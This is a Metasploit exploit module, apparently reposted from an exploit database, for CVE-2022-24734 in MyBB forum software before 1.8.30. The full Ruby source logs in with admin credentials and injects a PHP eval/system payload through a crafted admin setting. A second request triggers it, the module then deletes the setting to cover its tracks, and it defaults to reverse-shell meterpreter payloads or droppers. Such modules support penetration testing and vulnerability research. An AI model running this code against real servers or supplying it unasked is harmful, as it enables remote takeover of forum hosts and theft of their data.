Share
## https://sploitus.com/exploit?id=PACKETSTORM:167333
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MyBB Admin Control Code Injection RCE',  
'Description' => %q{  
This exploit module leverages an improper input validation  
vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in  
the context of the user running the application.  
  
MyBB Admin Control setting page calls PHP `eval` function with an  
unsanitized user input. The exploit adds a new setting, injecting the  
payload in the vulnerable field, and triggers its execution with a  
second request. Finally, it takes care of cleaning up and removes the  
setting.  
  
Note that authentication is required for this exploit to work and the  
account must have rights to add or update settings (typically, myBB  
administrator role).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Cillian Collins', # vulnerability research  
'Altelus', # original PoC  
'Christophe De La Fuente' # MSF module  
],  
'References' => [  
[ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],  
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],  
[ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],  
[ 'CVE', '2022-24734']  
],  
'Platform' => %w[php unix linux win],  
'Privileged' => false,  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },  
'Type' => :in_memory  
}  
],  
[  
'Unix (In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },  
'Type' => :in_memory  
}  
],  
[  
'Linux (Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :dropper  
}  
],  
[  
'Windows (In-Memory)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },  
'Type' => :in_memory  
}  
],  
[  
'Windows (Dropper)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },  
'Type' => :dropper  
}  
]  
],  
'DisclosureDate' => '2022-03-09',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),  
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),  
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'vars_get' => { 'intcheck' => 1 }  
})  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
# see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310  
unless res.body.include?('MYBB')  
return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")  
end  
  
print_good("MyBB forum found running at #{target_uri.path}")  
  
return CheckCode::Detected  
end  
  
def login  
vprint_status('Attempting login')  
  
cookie_jar.cleanup(true)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'do' => 'login'  
}  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)  
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")  
end  
  
print_good('Login successful!')  
end  
  
def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)  
req_hash = {  
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),  
'method' => method,  
'vars_get' => {  
'module' => 'config-settings',  
'action' => action  
}.merge(vars_get)  
}  
req_hash['vars_post'] = vars_post unless vars_post.blank?  
res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)  
if check_response && res.nil?  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")  
end  
res  
end  
  
def exploit  
login  
  
res = send_config_settings  
if res.body.include?('Access Denied')  
fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")  
end  
  
vprint_status('Adding a malicious settings')  
doc = res.get_html_document  
@my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text  
  
case target['Type']  
when :in_memory  
execute_command(payload.encoded)  
when :dropper  
execute_cmdstager  
end  
end  
  
def send_payload(cmd)  
vprint_status('Adding a crafted configuration setting entry with the payload')  
  
cmd = cmd.gsub(/\\/, '\\' => '\\\\')  
cmd = cmd.gsub(/"/, '"' => '\\"')  
cmd = cmd.gsub(/\$/, '$' => '\\$')  
  
case target['Platform']  
when 'php'  
extra = "\" . eval(\"#{cmd}\") .\""  
when 'win'  
if target['Arch'] == ARCH_CMD  
# Force cmd to run in the background (only works for `cmd`)  
extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""  
else  
extra = "\" . system(\"#{cmd}\") .\""  
end  
else  
extra = "\" . system(\"#{cmd} > /dev/null &\") .\""  
end  
  
post_data = {  
my_post_key: @my_post_key,  
title: Rex::Text.rand_text_alpha(rand(8...16)),  
description: Rex::Text.rand_text_alpha(rand(8...16)),  
gid: 1,  
disporder: '',  
name: Rex::Text.rand_text_alpha(rand(8...16)),  
type: "\tphp",  
extra: extra,  
value: Rex::Text.rand_text_alpha(rand(8...16))  
}  
  
res = send_config_settings(method: 'POST', vars_post: post_data)  
unless res.code == 302  
doc = res.get_html_document  
err = doc.xpath('//div[@class="error"]').text  
fail_with(Failure::Unknown,  
"#{peer} - The module expected a 302 response but received: "\  
"#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")  
end  
  
vprint_good('Payload successfully sent')  
end  
  
def trigger_payload  
vprint_status('Triggering the payload execution')  
# We're not expecting response to this query  
send_config_settings(action: 'change', check_response: false)  
end  
  
def remove_setting  
vprint_status('Removing the configuration setting')  
  
vprint_status('Grab the delete parameters')  
res = send_config_settings(action: 'manage')  
if res.body.include?('<title>MyBB Control Panel - Login</title>')  
# this exploit seems to logout users sometimes, so, try to login again and retry  
print_status('User session is not valid anymore. Trying to login again to cleanup')  
login  
res = send_config_settings(action: 'manage')  
end  
  
doc = res.get_html_document  
control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')  
uri = control_links.detect do |href|  
href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")  
end  
if uri.nil?  
print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")  
return  
end  
  
vprint_status('Send the delete request')  
params = uri.text.split('?')[1]  
get_data = CGI.parse(params).transform_values(&:join)  
send_config_settings(method: 'POST', vars_get: get_data)  
end  
  
def execute_command(cmd, _opt = {})  
send_payload(cmd)  
trigger_payload  
remove_setting  
print_status('Shell incoming...')  
end  
end